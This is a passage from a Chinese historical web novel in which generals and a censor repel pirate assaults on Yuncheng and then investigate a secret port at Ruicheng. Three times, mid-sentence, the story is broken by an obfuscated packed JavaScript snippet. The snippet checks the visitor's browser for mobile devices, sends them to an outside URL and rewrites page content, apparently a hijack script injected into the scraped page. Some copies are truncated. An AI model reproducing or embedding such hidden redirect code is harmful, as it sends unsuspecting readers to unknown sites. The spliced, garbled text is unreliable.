“山君老爷派我们来寻你们,一路打听,才知道你们被抓了,我们一路跟到了这里,若不是今夜海贼进犯,季鹰军将你们藏在这里,恐怕是难寻机会带你们回醉临了。”说话间,阿麦等人都走出了囚车,迟迟未醒的天力也被其中一前来劫囚的黑衣人架在背上。 阿麦立即上前查看,“天力,天力?” “麦哥不必担心,”朱伯拍了拍阿麦的肩,“天力不过是迷药吃多了,他年纪小,功夫差,醒的没有你们快,我们还是快走吧。” “迷药?”崔增恶/心下对整件事有了大概的猜测,但是还是有诸多的不解。 “是的,我们守在附近观察多时,你们傍晚的饭食中应当是被加了安眠药,所以纷纷昏睡不止。天黑时分,姜长鹰便命人将你们安顿在此处,还留了几个兵看守。” “所以,姜长鹰刻意不入城,还藏起我们,是因为他早就料到今夜云城有战事?今夜云城会有海贼来犯?”提及海贼,崔增恶眼里好像蓄了一团火。 “是已经来犯了,姜长鹰应该已经和他们交手了。” ———— 姜长鹰命人设伏于云城以东百里之外的密林,待海贼上岸,便打了他们一个措手不及,然而云城段悠宏却并未按原定计划出城增援,就在姜长鹰深感蹊跷之时,云城军段悠宏的一个斥候亲兵赶来,说援军随后就到,但是只有八百人。 “八百人?”按计划来的应有两千精兵,现在却变成八百,黄碚难以置信道:“难道沈大人没有和段大人说清楚? 姜长鹰此刻快速思忖着,“我相信沈大人已尽力安排。”姜长鹰笃定沈溟不会在此事上敷衍,这中间只怕另有内情。 “主子,情况不对,虽然我们先发制人,赢得先机。但是现在海贼越来越多,若援军还不到,我们胜算不大啊。”黄碚道。 江出走过来,脸色凝重,汗珠浸在面颊和颈间,显然是刚刚经历了一场搏杀。平日里潇洒散漫的样子此刻全部没了,看得黄碚不由又紧了紧眉头。 江出朝姜长鹰拱了拱手,“主子,刚才两次交战,那帮海贼不知道我们有多少人,还有忌惮,但是没有援兵,我们后继乏力,他们马上就会反攻过来的。” 姜长鹰看了一眼交战处,第三轮交战还没开始。海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153861|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼退回了近海,但是姜长鹰隐隐觉得海贼并不是简单修整和等待增兵。在登岸侵袭被强势镇压的情况下,海贼表现出的冷静让姜长鹰直觉今夜不是一场简单的防卫战,他转头看向站在远处休息的那位云城兵。 黄碚立即领会姜长鹰的眼神,示意将士将人带过来。 姜长鹰道:“小将军,劳烦你再跑一趟,告诉段大人,就说……”姜长鹰顿了顿,“就说坞城指挥史姜长鹰今夜缉贼入城,请求开南城门。”凡往来云城,走东、南两城门属军务,其中开南城门的情况又更加特殊,一为战事出征,二为迎抗击海贼的凯旋之军,三为迎天子或皇亲贵胄。 斥候兵闻言露出震惊之色,抬眼看了看交战处,知道此事非同小可,便一溜烟上马奔回云城。 ****** “八百人出城了吗?”云城段府内,段悠宏在院中试着手里新筑的大弓。 “早已出城,估计这时候已经和姜长鹰接上话了。”边上是段悠宏亲信虎川,他一只手按着箭篓,答话道。 段悠宏捡起一支箭,仔细打量箭镞道。“不是我不愿意听沈溟的,只是出兵超过两千,我是要给朝廷说法的,奏对的事情很麻烦,况且邢柏年对云城了若指掌,肯定不会来在东面攻城,所谓的东郊有战事,只不过是邢柏年与海贼筹划的调虎离山之计罢了。” “大人好谋略。” “什么谋略,打仗是硬碰硬的事,我这点谋略用在南境战场还行,和朝廷里那些人比,微不足道。”段悠宏搭上箭,铆足了力气拉开弓弦,一番用力,弦音吱吱作响,却始终未将箭放出去。段悠宏又将绳慢慢松开,喘了口气,“再有谋略也做不到未卜先知,神机妙算,所以有时候做事还是要靠手段,我截获了邢柏年通敌密信,确信今夜东郊无事。不过嘛,沈溟让姜长鹰替我在东边守着,还是解决了我的后顾之忧,我还是十分感谢他的。” “我看大人派人去了云城仓。” 段悠宏放下弓,慢慢走到院中石桌边,拿起盏水,坐下道:“海贼此来不过是为了粮,但沈溟他们搞错了,海贼想拿观澜仓的粮比登天还难,云城仓虽然比不上天下第一仓,但是对于抢完就走的海贼来说,确实比那观澜仓的粮易得手得多。”说到这里他轻笑一声,“如若不是看到密信,我也会信沈溟所说的就是事实。还有,姜长鹰嘛——”段悠宏略作思考,把水停在嘴边,“无论他是多么的能征善战,这云城,还是我的主战场,好歹我守了南境大半辈子,还劳烦不着他。” 还劳烦不到姜长鹰来抖威风,立军功。段悠宏忌惮姜长鹰,武者相轻,大抵如此。 这边话刚说完,忽一参将进来,面色凝重:“大人,西城有敌袭。” “西城?”段悠宏尚且算镇定。只是问道,“严守城门,弓箭手,火油都备上了吗?” 不料参将并未搭话,只是低下头吞吞吐吐起来。 段悠宏扭头看过来,边上虎川问道:“来了多少人?”参将才憋出那句:“看不清多少人,大人,西城原本的城防死伤过半,已经调派人手补上,先派回来报信的将士被炸翻了,许久才发现,如今看那阵仗,倒,倒像是……攻城。” “为何会死伤过半?” “爆鸣石,这次他们备足了爆鸣石。” 段悠宏终于坐不住了,腾的起身喝到,“去西城!” 14.退敌(下) “麦哥,你们走吧,我……”崔曾恶站忽然停下,站在原地。 “你什么意思?”阿麦顿感不安,他不知道这小子又在发什么疯。 “我不走了。”崔增恶赌气似的说完,就往交战地走去。 朱伯立即拉住他劝道:“催公子,你不走,我们回去没办法和山君老爷交代啊。” “是啊,崔公子,一起走吧。” “崔哥,辛爷还在醉临等你呢。”阿祈道。 众人纷纷劝起来,听到辛爷,崔增恶愣了。 “崔哥,你不走我们也不走。大不了,一起被抓回去充军,说不定罪加一等,直接去给云成军当靶子练手。”阿裕见状激将道。 崔增恶像是听劝了,回过头,向阿裕走过去,众人渐渐松下一口气的时候,崔增恶忽然发狠似的飞身一脚,紧接着阿裕身后的草丛,一人倒地抱腹呻吟。 此人剃着短发,唯有头顶一撮长发束冠,用黑金色发绳缠绕城一股发辫,身上衣襟开口转折处棱角分明,开口从前胸延伸至左侧后腰处,是十分明显的海贼打扮。 丛林中隐约有动静,阿麦等人都是耳目精明,纷纷拔刀,片刻后,一小队海贼探子就这样被消灭干净。 “他们是摸索到这里,打算从后方进攻?”阿麦道。 “我看不像。”崔增恶看了眼后面的山,“此山地势高,上面可将城内情况看个大概。” “特别是城内士兵的动向和布防,云城平民甚少,基本都是军营。白天在这山上找个好位置,城内情况一目了然。”朱伯道。 众人看向崔增恶,他抬头,泪光点点。紧抿的唇线终于松了松,说了句:“保重!” “崔公子,辛爷他……”朱伯喊了句。 崔增恶顿住,朱伯叹了口气,话锋一转接着说:“我会告诉辛爷,你要在战场杀海贼,报家仇,立军功,等崔公子立了功,回醉临找我们。” 崔增恶抽了抽嘴角,发现自己挤不出笑,便迈步走了。崔增恶这一走,目送他的几人便再也没看到他回头。 ****** 从东郊回来的斥候兵刚到云城内,就得知西城遇袭,但是想到东郊姜长鹰还在和海贼周旋,又想起姜长鹰那番话,愈加不安,话不带到云城凶险只会更多一分。“但是若因为西城战局紧张,一时间调派不到更多人马支援姜长鹰,至少也得让人有个心理准备。”斥候兵这样思考之后,丝毫不敢怠慢,情急在东门找了个人让其将西城也遇袭的事情快速带话给姜长鹰,自己便马不停蹄的往西城赶去。 是夜戌时刚过,海贼数量只增不减,且攻势更猛,姜长鹰下了撤退令,三百季鹰军加上云城八百援军,纷纷往后山丛林隐蔽。 黄碚也知道云城局势比想象中严峻,“海贼从东、西两侧侵袭,段将军去了西城,看来西城也十分危急。” “海贼怎得在这样的时刻举兵进犯,这架势,是攻城无疑了?” 姜长鹰心头一凛,多少个想法在脑中闪过,“攻城”二字像一个雷,在姜长鹰阴云密布之际给了他赫然一击,也让他心下对连日发生的事情更加了然。曹忠不过是一枚棋子,邢柏年也是一枚棋子,但是观澜仓的军粮如果是邢柏年的筹码,就不会只派遣一伙土匪去劫军粮,再利用一个小女孩去赢取李家商运途径帮助他们运粮,今夜云城的兵力直接投入到观澜港岂不是更加能够速战速决? “云城来人说段大人一早就投入了大量兵力守在云城仓了。”黄碚道。 “一早就派兵了?所以是在得知西城遇袭之前。”姜长鹰不知道段悠宏获截获了邢柏年和海贼互通的密信,但是他隐约觉得段悠宏已经掉进了某个圈套。 “段悠宏会将主要兵力放在云城粮仓,又没有按照沈大人的计划给足我们支援,应该是坚信海贼今夜的目的是云城仓而不是东城门,而这或许,正合了海贼的意。”姜长鹰看向海边,“如果今夜东城破了,那云城就等于失守了。” 江出和黄碚闻言皆惊。 “传令,季鹰军三百将士准备迎敌!”姜长鹰看向身边这两个从北境战场就跟随着自己的主将,二人知道,姜长鹰已经对此战有了布局。 “江出,另外八百人由你带队,在我们撤退后方百米之处设陷。云城派来的兵有弓箭手,你让他们准备,把我们的弓和箭都一并交给云城的兄弟。” 江出领命而去,黄碚看了眼姜长鹰,并肩作战的默契在这一瞬重燃。 ****** “今夜东城门和西城门必定有一处先被攻破。”海贼阿会恕仁是南境廊越国星末岛的将军,骁勇善战,也是段悠宏的老对手之一,他斗志满怀,发誓今夜一定会让自己的老对手段悠宏尝尝失败的滋味。 “东郊城外有小队人马正在与我们周旋,他们就在附近的山林中。”边上的伊塰道。 “但凡有人越过了弓箭手的进攻范围,突破他们的防线,我们就等于赢了一半。”阿会恕仁知道今夜东郊的入侵在段悠宏的算计之中,但是他并不害怕,前面的交战也让阿会恕仁意识到与他们交战的人并不多,只是靠着地形和早有准备才勉强维持优势,如今这优势也越来越弱,是他们反击的好时候。 阿会恕仁令众海贼匍匐前进。“你们可能会迎接他们的箭雨,但是我希望你们不要退缩,越靠近他们,弓箭手就越拿你们没办法,攀上山丘,东城门就破了半边。等我们先攻入城内,回去狠狠的嘲笑西城拿着爆鸣石的那帮人。” 然而心惊胆战的海贼并未等到弓箭手,前进到近山处,轰隆隆从山林中侵泄而下的是巨石和密密麻麻投掷的碎石。海贼猝不及防,一时间乱了阵型,纷纷后撤。 “不要撤,不许退缩。”伊塰扯着嗓子在后方鼓舞士气,“他们没有箭了,撑住,往前冲。”海贼进退两难,没受伤的硬着头皮往前冲,石头砸退的人有限,后面的人前赴后继。终于第一波人攀上密林的缓坡,迎接他们的是等候多时的季鹰军。 姜长鹰冷眼拔剑,“杀!” 一波,两波……姜长鹰和黄碚带领季鹰军,击退了一波接一波攻上来的海贼。 士兵死伤无数,阿会恕仁深知如果此时不一鼓作气,那么攻入东城门注定是败局,好在他们虽没有像西城那样准备充足的火器,却实打实都是精兵强将,且兵力是姜长鹰的三倍有余。阿会恕仁知道姜长鹰兵力不足,在后方喊道:“冲,今夜兵败,你们失去的不仅仅是粮食和女人,还有尊严,你们将会在下次上战场之前,为西城的阿会齐善和他的士兵提靴,你们愿意吗?” “不愿意!”伊塰带头喊道。 “不愿意!不愿意!不愿意……” 阿会恕仁的兵很吃这一套,南境星末岛武将不和,战败的兵不仅没有尊严,在军中境遇堪比奴隶,相比死亡,被同僚奴役霸凌的恐惧放大到极致。士气大振后的海贼铆足了劲冲上山林。 黄碚率一队精兵埋伏在山林前侧,时刻关注着阿会恕仁的动向。而此时后方传来哨声,那是江出传来的信号。 “撤——”黄碚一声令下,无人恋战,所有人向两侧后方逃窜。 海贼乘胜追击,林中漆黑一片,顺着隐约的火光和烟雾,海贼一股脑朝前奔去。等待他们的,是挖好的土坑。 掉进去的人来不及呼救,后面的人已经着了道。呼啦啦居然吞掉了半数人。 “放箭!”等候多时的江出一声令下,齐刷刷箭雨从林中树上射来,海贼躲无可躲,土坑松软,掉进去的人爬不起来,只能等死。 后面的海贼终于反应过来,不敢再进,纷纷后撤。 云城兵大喜道:“敌退了!” 撤退的海贼逃了几步,迎面刀光袭来,那是方才佯装逃窜的季鹰军,他们又从两翼折回,给这伙海贼前锋来了个前后包抄,前锋队伍被砍杀殆尽,后面的海贼已经生了怯懦之心。 阿会恕仁没想到会是这样的结果,这不是他第一次战败,固有不甘,但是他更懂得留得青山在的道理,当机默许了伊塰撤兵的提议。 “主子!”黄碚、江出喘着粗气,等待姜长鹰的下一步指令,这两人均未收刀,姜长鹰回首望去,他的亲兵皆仍是一副肃然待命之状。 “追!”姜长鹰一声喝令,季鹰军飞奔出林。惊魂未定的海贼连撤退也没了形状,只管抱头鼠窜。 云城将士紧随其后,追打到东郊海边,不等下令纷纷重新搭起弓箭…… ****** “大人,他们用投石机扔爆鸣石,许多弟兄都受伤了。”士兵向段悠宏汇报西城门战况。 “大人,爆鸣石触地便会爆炸,这帮贼人又往城内投掷火箭。此刻城墙边上,将士根本不敢近前。” “大人,他们开始撞城门了。”一狼狈不堪的将士负伤来报。 段悠宏皱紧了眉头,顿了片刻,对边上的将士道:“死守城门。”又冲参令说:“去云城仓调兵,要快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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段悠宏被虎川等左右人护着撤退到内城,“顾不得了,援军何在?”段悠宏没有这么狼狈过。 “大人!” 忽闻将士来报。 段悠宏上前。 “大人,东城负责接应的弟兄来报,快到亥时了,东城门不见姜大人等踪迹。云城仓援军去了东城,是守城,还是直接出城支援?” 段悠宏心乱如麻,但是身为一军主帅,他面上仍然尽力秉持着冷静泰然。“东城那边不必出城支援,死守城门,防止贼人入侵。”他紧了紧手里的弓,“将士们,随我迎敌!” 士兵群中,方才从姜长鹰处归来传信的斥候瞳孔骤缩,抿了抿唇,还是无声跟上段悠宏朝西而去。 城墙边的爆鸣石早已燃烧殆尽,段悠宏径直走向城墙,左右参将欲劝,虎川道:“方才是最后一波爆鸣石,为了发挥最大的价值,刻意等我们上城墙再投掷,此刻再上城墙,无妨。叫弓箭手准备。” 果然,城外的海贼举起护盾,码好了防卫墙,列阵前行,显然是要强攻了。攻城槌边的士兵躲在遁甲后,奋力撞击。 任凭箭如雨下,海贼没有丝毫退意。 段悠宏拨开弓,对准了远处骑兵中央的旗帜,只听嗡的一声,利箭离弦,朝旗帜飞去,迷蒙中,旗帜落下。宛若同时,最后一声攻城槌撞击声停驻,那一声后接着是城门爆裂的声音,城门破了…… “杀!”段悠宏声嘶力竭,众将士在这声激昂的号令下齐刷刷涌向破城而入的海贼—— “大人,你不能去……” “君子不立围墙之下,你还要布局战事。” “是啊大人,还未到你亲自上阵杀敌的时候。” 段悠宏扯着嗓子怒道:“什么君子,我是主帅,城都破了,岂有我不亲自领兵作战的道理……” 段悠宏就要下城墙,虎川突然扯着他:“大人,你看!” 城墙之上的人都看到,海贼后方,似有厮杀声渐起。 “那,那是……” “那是援兵?” “谁派的援兵?” …… 段悠宏愣住了,城墙上众人都愣住了,但很快段悠宏脑子里隐隐有了答案,虽然不确定。不过他来不及细思,此时更重要的是退敌,他示意虎川,虎川当即回神,机灵的吼道:“快,快杀出城去,与后方援军合力绞杀海贼——” 15.重任 云城西城门在攻城槌的撞击中逐渐裂开。城垛的砂砾散落,城墙上几颗人影立在残败里,墙里的云城军不遗余力的做着最后的挣扎,火油和箭矢不断飞出,却不能击退海贼分毫。 阿会齐善目光阴戾,紧紧盯着城门。他站在队伍中,前方是他得力的前锋骑兵营,各个目光如炬,只等在这一战中扬眉吐气,抢占军功。 “胜利在望。”与阿会齐善并肩伫立,束着汉人发髻的年轻人①平静的说了一句。 阿会齐善闻言朝他看了看,眼神里分明多了喜悦和得意。“我说过我会成功,你看,我没有骗你。” “少主说笑了,我从来没有觉得你骗我。” “但你之前不认同我攻城?” “我不认同不代表我不信您,只是觉得这步欠考虑,且云城背靠大程南境八城,攻进去之后的事,少主有盘算好吗?” “看来你都替我想到入城后的事了,无论如何这让我很高兴。” 年轻人依旧面无表情,只眼珠稍微乜向阿会齐善,“能让您高兴的事应该是看着您的表弟跪地臣服。” 阿会齐善勾起嘴角轻笑了一声,随即举起手中长刀在天空虚无的划了一道。 兴许是身经百战的原因,云城西城门随着他的动作轰然洞开。 “今日阿会齐善攻城大捷,今日入云城者从此后皆是星末岛挺直腰杆的人上人。”身边的年轻人声如击缶,句句扣在将士的心弦的上。“将士们,杀!” “杀——” 海贼蜂拥而上,却不知后方何时传来异动。 “黄雀在后啊。” 阿会齐善转身怒视后方,“什么意思。” “意思是,我们被包围了。” “怎么可能?”阿会齐善不愿相信。 后面扑过来的不知名援军来势汹汹,阿会齐善的兵根本来不及反应,就陷入了厮杀。队伍在对方迅猛的冲击下乱了阵型,最终节节败退,直将阿会齐善这方往城门逼赶。 “巴子的。”阿会齐善骂了一句,随即命令道:“随我去收拾后方来的无名杂碎。” 阿会齐善正要冲锋,缰绳却被拽住。他转头看向身边的年轻人,对方眯着眼望向远处。眼神中缓慢溢出惊骇。阿会齐善不解,顺着他的目光仔细看。 只见这支“从天而降”的队伍最前方几人,均有以一当十之勇,而为首者更是马蹄所至,无人可近身,他于刀枪密林里迅速豁开一条宽阔的口子,直奔阿会齐善而来。 “是他!”年轻人喃喃叹了一句,便立即朝四周命令道:“保护少主,侧方突围,快撤。” 阿会齐善自然不认识姜长鹰,但是也知道此时撤退是唯一的生路。他不在多话,由着身边的年轻人护着向南撤离。 ———— 段悠宏领兵杀出城门,和赶来救援的姜长鹰一起给海贼阿会齐善来了个包饺子。 阿会齐善没想到,自己差点攻进云城,却是因为阿会恕仁的失败而功败垂成,最后自己亲兵拿命给他杀出一条血路,才得以逃出生天。 一场战役结束,段悠宏灰头土脸,面对姜长鹰,里里外外都显得十分的不妥,自觉惭愧。虎川自然不会任由段悠宏丢面子,于是让士兵夹道把段悠宏和姜长鹰一众人都迎进城,只说这一仗打得辛苦,幸亏姜指挥史绕道西城门增援,先好好安歇之类的话便打算把今夜的事情统统摁下不提。 这边士兵就要把姜长鹰请到安排的住处去歇息,那边虎川簇拥着段悠宏等人就要离去。“且慢。”姜长鹰冷静的喊了一声。虎川心下一凛,又挂上微笑回头来应对姜长鹰的“纠缠”。而姜长鹰已经径直向段悠宏走过来。 “段大人,近几日可收到江南巡按御史沈大人的来信?” 虎川笑意满面凑过来道:“姜指挥史说笑了,即便有消息,我们也得在几日之后方会收到。此次海贼攻城……” “此次海贼进犯我云城,想必沈御史大人也未料到。御史大人来信命我派兵两千去东城迎姜大人的消息,但期间我截获了邢柏年的与海贼的密信,得知海贼的主要目标是云城仓,便把兵力都尽量匀到运城仓那边去了。今夜段某一没有派足够的兵给予姜指挥史支援,二没有守卫好西城门,实乃是我段某的过错。” 段悠宏和盘托出,听着倒是没有半点推脱之意。姜长鹰那边,黄碚和江出觉得段悠宏俨然一副我错了但有理,你能把我怎样的姿态。两人相觑一眼,便从彼此神情中找到了共识。 姜长鹰却不在乎这个,他心有所系,拱了拱手,“段大人,战场上瞬息万变乃是常事,我只是,担忧坞城。” “坞城?”虎川顺着姜长鹰的话问到。 “邢柏年联合江湖势力抢劫观澜仓,不知现在怎样了……” “啊!?”这下段悠宏和虎川都吃了一惊。 ****** “观澜仓诸事顺利,御史大人,属下来交差了。” 明先生和姜南阗回到城中,沈溟正在坞城的三营公所②,盯着佥事写用兵记录。沈溟看到眼前的明先生时,一口茶水差点喷出来,呛咳了几声便故作镇定的又恢复平静。 “草民姜南阗,拜见御史大人。”这是姜南阗第一次见沈溟,他跪地行了平民礼。 “免礼。”沈溟下意识看了一眼姜南阗,他继承了姜长鹰的眉眼,只是看上去轮廓更为柔和。 “淮奚。”丁越从门外进来,欣喜的喊了一声,他也是实打实的担忧了一天一夜,此刻抑制不住上前询问,“淮奚,观澜仓今夜动静不小,你没事吧?” “丁哥!”姜南阗没料到丁越会跟随沈溟回坞城,“我没事。你怎么回来了,此番巡查都顺利吗?我听说云城有急,不知道爹爹和黄伯伯他们怎么样了?” 一多月未见的二人只顾着叙话,竟把堂堂巡抚大人和明先生晾在一边。 “咳——” “咳——咳——” 沈溟和明先生不约而同咳嗽起来。 姜南阗复又看向沈溟,上前拱手,诚恳的说:“观澜仓能避免贼人的侵袭,多亏了御史大人率先布置,还特意安排明先生前来相助,姜南阗代父亲及指挥史府上下谢过沈大人。” 沈溟走到姜南阗面前。“姜大公子年纪轻轻,就能独当一面,真是英雄出少年,不过……”沈溟看了眼明先生,“这明先生么,确实一直都是我属下最得力之人。”转头对着明先生正经的说:“此番你也辛苦了,先给你记一功。” 明先生心中骂道:“脸皮真厚。”然后不动声色的撇了撇嘴角,看向别处。 沈溟没有在意明先生的无视,继续对姜南阗说道:“你父亲那边不必担心,一有消息就会快马加鞭传到坞城。” 巡按御史居然这样谦和随性,姜南阗大为感动。“多谢御史大人。”姜南阗又跪了下去。 沈溟吓了一跳:“起来起来,你这孩子别动不动就跪。”忙不迭去扶起姜南阗。 “御史大人,草民还有事要禀报。”姜南阗站起身,“观澜仓前门进攻外栅的贼人以为军粮是运往瑞城的。而在海上负责接应的那伙人却另有计划。” 沈溟下意识看向明先生,发现对方眼里也似有深意。 姜南阗并不知道此次江南所有事情的全貌,也不知道整件事是否每个环节都在沈溟的掌握之中,但是内心深感不安,犹豫之下还是决定将自己的担忧说了出来。 沈溟也听出军粮这件事里还另有文章,于是让姜南阗把今夜的事情大致说了一遍。 “……我当时按照明先生的计划在粮仓后方守株待兔逮住了欲要从后方偷袭的人,中途听到了贼人要把军粮运到瑞城的计划,后来到了观澜港,船上接应的人试探,我这么一说,对方顿时笃定我不是他们一伙的。于是我就暴露了,好在明先生来得及时,在船舱里也是,如果不是明先生,我恐怕今晚凶多吉少。” 沈溟点点头,“船上那波人他们计划周全,就连逃命的轻舟都是提前备好的。只是我更好奇那帮要把军粮运到瑞城的土匪什么来路,可有审讯?” “还没来得及仔细审讯,只粗略问过话,他们确实是邢柏年私募的土匪,只说邢柏年要他们把粮食运到瑞城,瑞城有个小港口,那里有接应他们逃跑的船只,这也是为什么他们最后愿意忍气吞声跟随我去观澜港的原因,因为他们觉得粮食在我手里,我当时听到他们私下谈话,得知他们如果没有抢到粮食,就算去了瑞城,也没办法登上逃跑的船只。” 坞城军粮牵涉多方利益,此时有多少暗流已经搅进这摊浑水,沈溟和明先生也不清楚,然而姜南阗不知道的是,比起船上接应军粮的那波人,比起水手口中的昔爷,比起坞城观澜港的船最终要开往何处,军粮要运往瑞城这个消息才是沈溟和明先生此刻最在意的。 沈溟心中顿感不妙,面上未表露,他按捺想要揭开谜团的急切,深知观澜仓军粮要调运的事情已经等不及也等不起了。顷刻之间,一个决意酝酿于心。 “姜公子……” 沈溟喊了一声,没有说下去。姜南阗听出沈溟语气中的郑重,拱手道:“御史大人!” 沈溟眼观鼻思忖,片刻便下定了决心道:“你愿意替你父亲,做一件事么?” ****** 坞城的事情告一段落,沈溟当机立断,决意前往瑞城。天还没亮,沈溟直接在三营公所里歇息。 “你打算自己一个人去瑞城?”房间推开,明先生走进来开门见山问他。 沈溟看见他,噗嗤一笑,“你这身打扮,倒是颇为文雅,甚是少见啊北林兄。”沈溟扬起语调,笑呵呵的说:“明先生?你怎么不说你姓乔?”。 “我这次对外称明申。” 沈溟稍微反应了一会,便瞪着眼睛骂道:“……你,居然直接把我的名字反过来,又懒又缺德啊你。” “我跟你一起去瑞城。此番我来本就是为了找你的,主子的意思也是让我来保护你。” “保护我?我这身手还稀得你保护?” 北林听到这话,想到了一直跟在沈溟身边相貌格外水灵的丁越,笑道:“是不需要,那是主子不知道你已经觅得了一个好护卫。” “……” “这次军粮的事牵涉甚广,自从主子提出换仓拨粮之后,观澜仓尤其成为旋涡中心,邢柏年只是别人拿来把水搅浑的棋子,蔚王肯定自不必说,只怕背后还有暗藏的多股势力掺杂其中。” 沈溟终于正经起来,“刑柏年是棋子,却不见得十分听话,只怕他知道自己被放弃了,为谋生路,会不计后果。我觉得那土匪没说谎,瑞城海域附近真的有一拨人在等着接应他们。” “但是他们背后的人也十分谨慎,没有把具体接应的位置告知,只说天亮之前,以火把为信,且没说具体时辰,而是说待他们行驶至瑞城附近,自会看到火光信号。” 沈溟甩了甩外袍的宽袖,把手背在身后,飒然道:“问是问不出的,我早就猜到了,所以我一定要去看看。但是军粮不能耽搁,多耽误变数就越多。” 北林心中已经猜测到沈溟的计划,此刻仍想再确认一遍,“所以你打算让姜南阗那小子先把粮运出去?” 沈溟见姜南阗的时候并没有当众把计划和盘托出,毕竟调令下达之前私动军粮,是大罪,面对北林,他不必隐瞒,“军粮即刻就动,比放在坞城安全,再说我打着赈灾的旗号掩人耳目,谁知道姜南阗早于调令之前就运出了粮食。况且邢柏年已经把坞城的水搅混了,届时就算有人质疑,就说那粮食是邢柏年派人抢出来的。” 北林沉吟片刻,终于点了头,“只是太冒险了,而且,你才第一次见姜家大公子,怎么就那敢让他做?” “是有点冒险,但是经此一事我觉得这小子可行。不过他还年轻,没有经验,也为了确保他没有任何闪失,我需要你跟着他。” 北林无奈,略带幽怨,喃喃了句:“为何你和我主子一样,姜家人给你们喝什么迷魂汤了,帮忙就算了,总是将自己置于险境。” “这次巡视灾情,我觉得姜长鹰是个值得敬重的人。姜南阗我不必说,看得出来你也很欣赏那孩子。你也不希望姜大公子有任何闪失吧,否则,你怎么会去船舱救他?” 北林不争辩,只是说:“那你呢?瑞城私港的事情在意料之外,你去了,万一有危险怎么办?” “我赌瑞城不会有事,只是个接应点而已,即便抓不到人,我也得弄清楚瑞城何时开了个私港,大程江南只有观澜港这一个海上港口,开设私港可不是小事,必须查明白他们究竟在瑞城哪里停船靠岸?不过你说得也对,危险可能也是有的。”沈溟皱眉思索着,说:“那我……带个护卫吧,要不就从季鹰军里面选一个?” “季鹰军?” “对啊,你说丁越怎么样,别看他年纪不大,但是人家可是姜长鹰府长大的,季鹰军斥候出身,上过战场,还是姜长鹰的近卫,保护我,绰绰有余啊。” 北林眼神从疑惑转为鄙睨,盯着沈溟冷冷道:“别装了,沈大人。” ****** 东方既白之际,沈溟策马奔向瑞城。 同时刻,永益朝堂,司礼监邱公公站在金殿之上宣读圣旨。 “奉天承运皇帝,制曰: 朕膺昊天眷命,资耆硕弼元良,咨尔内阁次辅乔广陵,器识渊邃,勤恪可嘉。昔赞枢机,夙著经纶之效; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“待他归来,就说今夜知尹府内见我。” 沈溟马不停蹄,直往瑞城东海边去。一直跟随的丁越夹了夹马腹追齐沈溟,“大人,您不歇息吗?” “你累了?” 丁越担心的说:“您病体初愈,这样下去,恐怕伤身,大人要不稍作歇息,过了午时我再陪您去。” 沈溟紧了紧缰绳,放慢了速度。心想这傻小子陪着自己奔波了这么久,也是该放他歇息了。于是说:“你别跟着我了,去知尹府内等陆大人回来。” “……等陆大人?”丁越想不通为什么要等陆大人,还在喃喃之时,沈溟已经扬鞭兀自走了。 瑞城东侧外一眼望去倒是与平常无异,沈溟招呼跟随的将士问道:“船只靠岸停泊,一般需要什么样的位置?” “回御史大人,属下只知道观澜港水深浪也不急,岸线向陆地迂回,还是背风的。” 沈溟知道该将士应该对海域不是很熟悉,但是回答却很谨慎,心里赞了句“不愧是姜长鹰的兵。” 自瑞城东侧循着海岸线一直往南,并未看到适合登岸的港口。“或许瑞城并没有登岸之所,接头点只是在海上?但是船停在海上接头不太可能……”就在沈溟揣度的时候,一伙人聚在海边。待见沈溟等人靠近,这帮人佯装三三两两的散去。 不对劲! 沈溟直觉这帮人不是附近渔民,于是催动马走了过去,边上的季鹰军明白沈溟的用意,左右立即都驭马上前,走在沈溟前头。 “老乡——”赶在前面的将士朝那群人喊道:“你们知道附近海域哪里可以停船?”不料此话一出,本就的散开的人更加快脚步,看样子是要逃走了。 追!不用沈溟下令,边上的将士都已经奋起直追,两条腿哪里跑得过马匹,本来这帮人只能等着束手就擒,现在看架势倒像人人身上都背负了弥天血案,一个个跑得贼快。短暂追赶之后,沈溟突然就想到了什么。 “停下,勿追!” 说话间已经来不及,跑在前面的季鹰军全数跌入早就挖好的坑内……坑内盛着海水,和着泥沙使得陷进去的将士难以着力,起身困难,只能徒劳挣扎。逃跑的“渔民”陡然折了回来…… 这边沈溟身后的骑兵不再轻举妄动,复返的“渔民”目露凶光,气势汹汹往水坑走去。 深陷水坑的将士眼看凶多吉少,不用猜下一刻即要成为刀俎下的鱼肉。众人心道糟了,倏忽一声嘶鸣,一道人影飞射而出—— 海风卷着一捆白浪拍在海岸,裹挟着微微的腥味拂送到人的脸上,扬起的鬓发还未落下,人影已至眼前,恍惚只见青色角袍翻飞,马上之人抽刀一挥,在马足踏地之际,为首的“渔民”手中铁钩掉落,晃了晃便一头栽倒在地。白浪缩回海里,那阵风也短暂的撤了,像吸了口气,蓄力准备吹第二波。 是沈御史!余下的季鹰军在骇然中回神,一向佻达高贵的御史大人遽然变作侠士,狠夹马腹,疾速直冲,在“渔民”折返以泥淖中的将士为人质之前,径直跨过了水坑。 马借着惯性直往前奔出数十丈,其间沈溟又接力砍翻数人,他勒马回身,眉宇间难掩意气。 沈溟在危机时刻先发制人,“渔民”被他这一鼓作气破了阵仗,现下才反应过来,齐刷刷抄家伙和要他拼命。 